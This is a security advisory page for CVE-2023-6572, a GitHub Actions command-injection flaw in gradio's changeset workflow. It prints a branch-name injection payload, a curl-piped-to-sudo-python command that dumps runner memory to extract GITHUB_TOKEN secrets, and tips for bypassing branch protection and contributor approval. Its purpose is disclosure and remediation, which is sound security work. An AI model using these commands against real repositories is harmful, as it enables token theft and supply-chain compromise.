Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-6572: Source repository compromise via github actions workflow in gradio

Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository gradio-app/gradio prior to main.

CVE
#vulnerability#git#rce#auth

Summary

The generate-changeset.yml github actions workflow is vulnerable to unauthorised modification of the base repository and secret exfiltration (GITHUB_TOKEN).

The untrusted user input github.event.workflow_run.head_branch is used in a privileged context of the workflow in an insecure way which can lead to command injection in workflow runner.

Details

The workflow is triggered by workflow_run trigger.

name: Generate changeset
on:
  workflow_run:
    workflows: ["trigger changeset generation"]
    types:
      - completed

This trigger acts as a callback when another workflow finishes. In this case the vulnerable Generate changeset workflow is triggered when the trigger changeset generation workflow finishes.

In order to trigger this workflow, the attacker needs to

  1. Fork the vulnerable repository.
  2. Create a branch name with attacker payload. A branch name can be a shell command (can be reverse shell) as explained here. zzz";echo${IFS}"hello";#
  3. Open a pull request to the base repository.

The vulnerable fragment resides in the get-pr job of Generate changeset workflow.

name: Generate changeset
on:
  workflow_run:
    workflows: ["trigger changeset generation"]
    types:
      - completed
    [ . . . Skipped]
    steps:
    - name: echo concurrency group
      run: echo ${{ github.event.workflow_run.head_repository.full_name }}::${{ github.event.workflow_run.head_branch }}
        [ . . . Skipped]

The issue here is that the run operation generates a temporary shell script based on the template. The expressions inside of ${{ }} are evaluated and substituted with the resulting values before the shell script is run which may make it vulnerable to shell command injection.

So the attackers payload (reverse shell) will be executed here.

Note: I did not reproduce this vulnerability as I need to send a public PR.

Impact

At the start of each workflow job, GitHub automatically creates a unique GITHUB_TOKEN secret to use in your workflow. You can use the GITHUB_TOKEN to authenticate in the workflow job.

Once the attacker gets RCE, the GITHUB_TOKEN value can be extracted from Runner.Worker process using the below command.

curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' 

There is also another token used in the workflow. ${{ secrets.COMMENT_TOKEN }} which can be stolen.

Anyone with a github account can exploit this vulnerability.

The GITHUB_TOKEN has read and write permissions to repository. Proof from this workflow run

Using GITHUB_TOKEN an attacker can push to base repository or manipulate in some other way.

You may have branch protection enabled in the repository. Particularly you may have the require pull request reviews before merging rule enabled.

However the rule can be bypassed using the GITHUB_TOKEN because the token has write access to the repository thus can approve pull malicious pull requests.

The bypass won’t work if the code owner’s approval is required on all files, In this case a malicious user still should be able to push to a non-protected branch (or create a new one) to create a release/tag out of it infecting the supply chain.

Note : In order to exploit the vulnerability attacker needs to be able to run workflows, some repositories may require workflows from first-time contributors to be approved by repository maintainer. This limitation is added to prevent crypto miners, so it can be bypassed by simply contributing a legitimate pull_request (fixing typos) and then issuing attack.

Remediation

  • The best practice to avoid code and command injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable:

    • name: print title env: TITLE: ${{ github.event.issue.title }} run: echo “$TITLE”

I can send a PR to fix this. Please let me know if you want me to do so.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907